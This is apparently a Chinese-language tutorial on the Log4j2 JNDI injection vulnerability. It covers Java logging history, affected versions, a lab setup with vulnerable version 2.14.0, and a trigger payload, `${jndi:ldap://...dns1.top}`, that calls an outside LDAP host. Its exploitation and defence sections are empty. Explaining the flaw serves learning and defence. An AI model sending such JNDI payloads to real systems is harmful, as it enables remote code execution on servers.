简介

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

Java 日志体系

在 2001 年之前,Java不存在日志库,打印日志均通过 system.outsystem.err

该方式有以下缺点:

  • 大量 IO 操作
  • 无法合理控制输出,并且输出内容不能保存
  • 无法定制日志格式

在 2001 年,软件开发者 Ceki Gulcu 设计出了一套日志库为Log4j,并且该项目加入Apache

为了方便开发者选择使用,Apache 推出了日志门面 JCL (Jakarta Commons Logging),它提供了一个日志抽象层,在运行时动态的绑定日志来实现组件来工作(如Log4j,java.util.logging)。导入哪个就绑定哪个,不需要再修改配置。如果没有导入的话内部有一个Simple logger的简单实现,但是功能很弱,直接忽略。

在 2006 年,Log4j 的作者 Ceki Gulcu 离开了 Apache 后,开发了另一套日志库 Slf4j(Simple Logging Facade for Java)。Slf4j 需要桥接包来和日志实现组件建立关系,由于每次使用都需要配合桥接包。作者又开发出了 Logback 日志标准库作为 Slf4j 接口的默认实现。

在 2012 年,Apache 推出了新的日志库 Log4j2,并且不兼容 Log4j

Log4j2 具有 Logback 的所有特性,并且做了分离设计,分为 log4j-apilog4j-core

log4j-api 是日志接口

log4j-core 是日志标准库

除此之外 Apache 还为 Log4j2 提供了各种桥接包

从此 Log4j2 便成为各种 JAVA 程序的默认日志实现

漏洞原理

Log4j2 的 JNDI 功能点无法防御来自攻击者的 ldap 以及其他相关端点的攻击行为

攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

由于其触发方式简单、使用范围广泛,因此漏洞危害极大。

影响版本

Apache Log4j2 > 2.0

Apache Log4j2 < 2.14.1

在 Java 相关应用中有数万个开源软件使用 Apache Log4j2,影响范围极大,几乎涉及到所有的Java应用

环境复现

Log4j2 下载地址:https://logging.apache.org/log4j/2.x/download.html

然后在项目中添加依赖

使用 maven 来引入 Log4j2 组件的 2.14.0 版本,在工程目录的 pom.xml 下添加如下配置,会导入两个jar包

org.apache.logging.log4j:log4j-api:2.14.0

org.apache.logging.log4j:log4j-core:2.14.0

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>

在工程目录 resources 下创建 log4j2.xml 配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>

<configuration status="error">
<appenders>
<!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
<Console name="Console" target="SYSTEM_OUT" >
<!-- 配置Console的模式布局-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
</Console>
</appenders>
<loggers>
<!-- 配置日志级别-->
<root level="error">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>

log4j2 支持多种日志级别,通过日志级别可以对日志信息分类,在合适的地方输出日志,日志级别分为六个级别,还定义了内置的标准级别 intLevel,由数值表示,级别越高数值越小

日志级别 intLevel
OFF 0
FATAL(致命的) 100
ERROR 200
WARN 300
INFO 400
DEBUG 500
TRACE(堆栈) 600
ALL integer.MAX_VALUE

搭建代码环境

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j2Rce2 {
private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
public static void main(String[] args) {
logger.error("${java:os}");
}
}

触发漏洞语句

1
${jndi:ldap://58bafab2.check.dns1.top}

漏洞特征

java 应用存在如下组件

  • log4j-api
  • log4j-core

漏洞利用

防御措施